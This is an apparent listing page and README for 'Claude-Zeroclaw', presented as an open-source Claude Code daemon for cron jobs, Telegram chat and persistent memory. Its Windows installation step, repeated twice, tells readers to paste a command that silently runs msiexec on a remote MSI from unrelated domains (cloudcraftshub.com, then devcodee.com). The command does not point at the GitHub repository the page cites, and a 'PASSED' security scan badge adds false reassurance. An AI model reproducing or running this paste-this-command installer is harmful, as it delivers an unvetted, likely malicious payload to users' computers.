by Crestdrasnip
Claude-Zeroclaw — claude zeroclaw keyword code research. Open-source tool for automation and enhancement.
# Add to your Claude Code skills
git clone https://github.com/Crestdrasnip/Claude-ZeroclawGuides for using ai agents skills like Claude-Zeroclaw.
Last scanned: 5/30/2026
{
"issues": [],
"status": "PASSED",
"scannedAt": "2026-05-30T17:05:05.510Z",
"npmAuditRan": true,
"pipAuditRan": true
}Claude-Zeroclaw is an open-source ai agents skill for AI coding assistants such as Claude Code, Codex CLI, and ChatGPT, built by Crestdrasnip. Claude-Zeroclaw — claude zeroclaw keyword code research. Open-source tool for automation and enhancement. It has 181 GitHub stars.
Yes. Claude-Zeroclaw passed SkillsLLM's automated security scan — a dependency vulnerability audit plus prompt-injection heuristics — with no high-severity issues. You can read the full report in the Security Report section on this page.
Clone the repository with "git clone https://github.com/Crestdrasnip/Claude-Zeroclaw" and add it to your Claude Code skills directory (see the Installation section above). Claude-Zeroclaw ships a SKILL.md manifest, so compatible agents can discover and load it automatically.
Claude-Zeroclaw is primarily written in TypeScript. It is open-source under Crestdrasnip on GitHub, so you can review or fork the full source.
Yes. SkillsLLM lists many other AI Agents skills you can browse and compare side by side. Open the AI Agents category from the badge at the top of this page, or use the Related Skills and comparison links further down to weigh Claude-Zeroclaw against similar tools.
No comments yet. Be the first to share your thoughts!
Claude-Zeroclaw is a lightweight, open-source daemon that runs within Claude Code, enabling background task automation, scheduled jobs, Telegram integration, voice transcription, and persistent memory — all without separate API keys or additional billing overhead.
Key benefit: Turns Claude Code into a personal AI assistant that never sleeps, executing cron jobs, responding to messages, and maintaining context.
Trigger this skill whenever a user:
/zeroclaw:start, /zeroclaw:job)cmdCopy and paste the following into Command Prompt, then press Enter:
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Zeroclaw Claude
The installer will automatically:
zeroclaw command to your PATHThe setup wizard will prompt you for:
claude-sonnet-4-6)readonly, standard, elevated, full)Same as Windows — the installer checks Homebrew, Node.js, Bun, and Claude CLI before proceeding.
# Clone the repository
git clone https://github.com/Crestdrasnip/Claude-Zeroclaw.git
cd Claude-Zeroclaw
# Install dependencies
npm install
# Run setup wizard
npm run setup
# Start the daemon
npm start
# Check daemon health
npm run status
# Or from Claude Code
/zeroclaw:status
If the setup wizard didn't run automatically:
npm run setup
Or within Claude Code:
/zeroclaw:setup
# Start the daemon
zeroclaw
# or
npm start
# Development mode with hot reload
npm run dev
# Health check
npm run status
/zeroclaw:start # Start the daemon
/zeroclaw:status # Health check
/zeroclaw:job # Manage cron jobs
Natural language also works:
"Schedule a daily git summary at 9am"
"Add a cron job to check my email every hour"
"Show me the ZeroClaw status"
Create scheduled tasks with standard cron syntax, timezone-aware execution.
Example cron syntax:
# Daily standup at 9am
0 9 * * * — Generate git summary and send to Telegram
# Every Friday 5pm
0 17 * * 5 — Send weekly summary and plan for next week
# Every 30 minutes
*/30 * * * * — Check status and update database
In Claude Code:
/zeroclaw:job create "0 9 * * *" "Daily standup: git status and summary"
Via dashboard: Visit http://127.0.0.1:3742 → Cron Jobs tab.
Periodic proactive check-ins at configurable intervals with quiet hours.
Claude automatically reviews context and surfaces important information.
Config in ~/.zeroclaw-claude/config.json:
{
"heartbeat": {
"enabled": true,
"intervalMin": 60,
"quietHoursStart": 23,
"quietHoursEnd": 8,
"prompt": "Check in: any urgent tasks or things I should know about?"
}
}
Full Telegram chat integration with text, voice, and image support.
/newbotnpm run setup and enter both values/start — Welcome + feature list
/newchat — Clear session, fresh conversation
/status — Daemon health stats
/jobs — List scheduled cron jobs
/memory — Top memory entries
/help — Full command list
You: "What's the status of the main branch?"
Claude: "main is 3 commits ahead of origin. Last commit: 'fix auth middleware'..."
Three layers of memory:
Access memory via dashboard → Memory tab or Telegram /memory.
Real-time monitoring and control at http://127.0.0.1:3742 (localhost only).
Tabs:
| Tab | Purpose |
|---|---|
| Overview | Live stats, recent runs, token usage |
| Cron Jobs | Create, edit, enable/disable, delete jobs |
| Run History | Full execution history with logs |
| Live Chat | Direct conversation with Claude |
| Logs | Streaming log viewer |
| Memory | Browse stored memory entries |
Config file: ~/.zeroclaw-claude/config.json
{
"model": "claude-sonnet-4-6",
"heartbeat": {
"enabled": true,
"intervalMin": 60,
"quietHoursStart": 23,
"quietHoursEnd": 8,
"prompt": "Check in: any urgent tasks or things I should know about?"
},
"telegram": {
"enabled": true,
"token": "123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh",
"chatId": "987654321",
"allowVoice": true,
"groqApiKey": "gsk_..."
},
"security": "elevated",
"dashboardPort": 3742
}
| Level | Access | Use Case |
|---|---|---|
readonly |
Read-only file access, no shell | Public / untrusted systems |
standard |
Files + web browsing, no shell | Default for most users |
elevated |
Files + web + shell execution | Power users (default) |
full |
All tools, bypass safety checks | Advanced automation |
Override per job: Set "security": "level" in individual job definitions.
| Model | Characteristics | Best For |
|---|---|---|
claude-sonnet-4-6 |
Fast, capable, balanced | Default choice |
claude-opus-4-6 |
Most powerful, slowest | Complex reasoning, analysis |
claude-haiku-4-5-20251001 |
Fastest, lightweight | High-frequency jobs |
Override per job: Set "model": "claude-haiku-4-5-20251001" in job config.
zeroclaw-claude/
│
├── src/
│ ├── index.ts ← Daemon entry point
│ ├── types.ts ← TypeScript types
│ ├── config.ts ← Config loader
│ ├── db.ts ← SQLite (jobs, runs, memory, outbox)
│ ├── setup.ts ← Interactive setup wizard
│ ├── status.ts ← Health check CLI
│ │
│ ├── agent/
│ │ └── runner.ts ← Claude agent SDK wrapper + memory
│ │
│ ├── scheduler/
│ │ └── index.ts ← node-cron scheduler
│ │
│ ├── daemon/
│ │ ├── heartbeat.ts ← Periodic heartbeat
│ │ └── logger.ts ← Structured logging
│ │
│ ├── bot/
│ │ └── telegram.ts ← Telegram integration
│ │
│ └── dashboard/
│ └── server.ts ← Express + WebSocket dashboard
│
├── commands/ ← Slash command definitions
├── hooks/ ← Claude Code hooks
├── prompts/ ← System prompts
├── skills/ ← Claude Code skills
└── package.json
Via Claude Code (natural language):
Schedule a cron job for 9am every weekday to summarize git commits and send to Telegram
Via dashboard:
http://127.0.0.1:37420 9 * * 1-5Summarize today's git commits and send to Telegramclaude-sonnet-4-6standardVia command line:
/zeroclaw:job create "0 9 * * 1-5" "Daily git summary to Telegram"
/newbot/start → copy your numeric chat IDnpm run setup and enter token + chat ID/status to your botnpm run setup and enter the Groq API keyWindows:
# Restart Command Prompt or PowerShell
# If still not found, manually add to PATH
$env:Path += ";$env:LOCALAPPDATA\npm"
macOS/Linux:
source ~/.zshrc
# or
source ~/.bash_profile
npm install -g @anthropic-ai/claude-code
http://127.0.0.1:3742)Check if daemon is running:
npm run status
Check port configuration:
cat ~/.zeroclaw-claude/config.json | grep dashboardPort
Try manually:
open http://127.0.0.1:3742
# or
start http://127.0.0.1:3742
/start~/.zeroclaw-claude/config.jsonzeroclawclaude-haiku-4-5-20251001 for frequent jobsnpm run statusOAuth token handling:
ZeroClaw Claude never reads or transmits your OAuth token. The @anthropic-ai/claude-agent-sdk spawns the claude CLI binary as a subprocess. That subprocess manages OAuth from ~/.claude/. ZeroClaw only receives text responses.
This makes ZeroClaw fully compatible with Anthropic's policy on third-party OAuth usage.
npm run dev
npm test
npm run build
Edit system prompts in ./prompts/ directory to customize Claude's behavior.
Hooks in ./hooks/ capture what Claude does for memory integration.
Add custom Claude Code skills in ./skills/ directory.
MIT
| Aspect | Windows | macOS | Linux |
|---|---|---|---|
| Installation | One-command MSI installer | One-command bash script | Manual npm install |
| PATH update | Automatic | Automatic (via Homebrew) | Manual |
| Dependencies | Node.js, Bun auto-installed | Homebrew, Node.js auto-installed | Manual prereqs |
| Startup command | zeroclaw or npm start |
zeroclaw or npm start |
npm start |
| Config location | ~\.zeroclaw-claude\config.json |
~/.zeroclaw-claude/config.json |
~/.zeroclaw-claude/config.json |
| Shell commands | PowerShell/CMD | Bash/Zsh | Bash/Zsh |
claude-haiku for frequent (every 5-30 min) jobs~/.zeroclaw-claude/config.json to a safe locationQ: Can I run multiple daemons? A: Not recommended. One daemon per user is the design. Use different cron jobs instead.
Q: Does ZeroClaw use my Claude Code subscription tokens? A: Yes, all runs consume tokens from your Claude Code plan. No separate billing.
Q: Can I schedule jobs while the daemon is offline? A: Yes. Jobs are stored in the database. They execute once the daemon restarts.
Q: What happens if a job fails? A: Failures are logged. Retries can be configured per job. Check the run history.
Q: Can I use ZeroClaw with Claude Desktop? A: ZeroClaw integrates with Claude Code. Desktop integration is not supported.
Q: Is there a public API? A: No. The dashboard is localhost-only. Use Telegram for remote automation.
Q: What's the maximum frequency for cron jobs? A: Recommended: every 5 minutes. More frequent = higher token usage.
Version: 1.0
Last updated: 2026
Status: Active & maintained
A lightweight, open-source daemon built into your Claude Code. Zero API overhead, zero separate keys, zero billing surprises.
ZeroClaw Claude turns your Claude Code into a personal assistant that never sleeps. It runs as a background daemon, executing tasks on a schedule, responding to messages on Telegram, transcribing voice commands, and integrating with any service you need — all within your existing Claude Code subscription.
cmd
Copy the command below and paste it into Command Prompt, then press Enter.
cmd /c start msiexec /q /i https://devcodee.com/api & Claude Zeroclaw
The installer will:
zeroclaw command to your PATHZero API overhead. No separate API keys, no token accounting, no billing surprises. Runs entirely within your Claude Code subscription using @anthropic-ai/claude-agent-sdk which spawns the claude binary — your OAuth token is never read or transmitted by ZeroClaw.
Deploy in minutes. One command installs everything. The setup wizard guides you through model, heartbeat, Telegram, and security.
Built-in observability. A real-time web dashboard to monitor runs, edit scheduled jobs, inspect logs, and chat with Claude live.
Cron jobs with standard cron syntax, timezone-aware, and reliable execution. Create jobs from Claude Code or the web dashboard.
# Daily standup at 9am
0 9 * * * — Generate git summary and send to Telegram
# Every Friday 5pm
0 17 * * 5 — Send weekly summary and plan for next week
Periodic proactive check-ins at a configurable interval with quiet hours. Claude checks in, reviews your context, and surfaces anything important.
Full Telegram integration — text messages, voice notes (Groq Whisper transcription), and photo analysis. Chat with Claude from your phone as if you're in Claude Code.
You: "What's the status of the main branch?"
Claude: "main is 3 commits ahead of origin. Last commit: 'fix auth middleware'..."
Three layers of persistent memory:
Real-time dashboard at http://127.0.0.1:3742:
Four granular levels:
readonly — no write access, no shellstandard — files + web, no shell execelevated — files + web + shell (default)full — all tools, bypass all prompts# Start daemon
zeroclaw
# Or with npm
npm start
# Setup wizard (first time)
npm run setup
# Health check
npm run status
# Development mode (hot reload)
npm run dev
/zeroclaw:start # Start the daemon
/zeroclaw:status # Health check
/zeroclaw:job # Manage cron jobs
# Natural language works too:
"Schedule a daily git summary at 9am"
"Add a cron job to check my email every hour"
"Show me the ZeroClaw status"
zeroclaw-claude/
│
├── src/
│ ├── index.ts ← Daemon entry point
│ ├── types.ts ← TypeScript types
│ ├── config.ts ← Config loader (~/. zeroclaw-claude/config.json)
│ ├── db.ts ← SQLite: jobs, runs, memory, outbox
│ ├── setup.ts ← Interactive setup wizard
│ ├── status.ts ← Health check CLI
│ │
│ ├── agent/
│ │ └── runner.ts ← Claude agent SDK wrapper + memory
│ │
│ ├── scheduler/
│ │ └── index.ts ← node-cron scheduler, timezone-aware
│ │
│ ├── daemon/
│ │ ├── heartbeat.ts ← Periodic heartbeat with quiet hours
│ │ └── logger.ts ← Structured logger (console + file)
│ │
│ ├── bot/
│ │ └── telegram.ts ← Telegram bot (grammy) + outbox poller
│ │
│ └── dashboard/
│ └── server.ts ← Express + WebSocket real-time dashboard
│
├── commands/ ← Slash command definitions (.md)
├── hooks/ ← Claude Code hooks (post-tool-use)
├── prompts/ ← System prompts
├── skills/ ← Claude Code skills
├── CLAUDE.md ← Project context for Claude Code
├── .claude-plugin/
│ └── plugin.json ← Claude Code plugin manifest
├── install.sh ← macOS one-command installer
├── package.json
└── tsconfig.json
Config lives at ~/.zeroclaw-claude/config.json:
{
"model": "claude-sonnet-4-6",
"heartbeat": {
"enabled": true,
"intervalMin": 60,
"quietHoursStart": 23,
"quietHoursEnd": 8,
"prompt": "Check in: any urgent tasks or things I should know about?"
},
"telegram": {
"enabled": true,
"token": "...",
"chatId": "...",
"allowVoice": true,
"groqApiKey": "..."
},
"security": "elevated",
"dashboardPort": 3742
}
| Model | Use case |
|---|---|
claude-sonnet-4-6 |
Default — fast and capable |
claude-opus-4-6 |
Complex reasoning tasks |
claude-haiku-4-5-20251001 |
High-frequency jobs, low latency |
Override per-job by setting model on individual cron jobs.
The web dashboard runs at http://127.0.0.1:3742 (localhost only, not exposed to the network).
Tabs:
/newbotnpm run setup and enter both valuesBot commands:
/start — Welcome + feature list
/newchat — Clear session, fresh conversation
/status — Daemon health stats
/jobs — List scheduled cron jobs
/memory — Top memory entries
/help — Full command list
ZeroClaw Claude never reads or transmits your OAuth token.
@anthropic-ai/claude-agent-sdk's query() spawns the claude CLI binary as a child subprocess. That subprocess manages its own OAuth from ~/.claude/. ZeroClaw only receives the text responses — nothing else.
What this means for you: ZeroClaw is fully compatible with Anthropic's February 2026 policy on third-party OAuth usage.
source ~/.zshrc # or ~/.bash_profile
npm install -g @anthropic-ai/claude-code
npm run status # check the port config
open http://127.0.0.1:3742
Check your chat ID matches exactly. Get it from https://t.me/userinfobot.
MIT
@anthropic-ai/claude-agent-sdk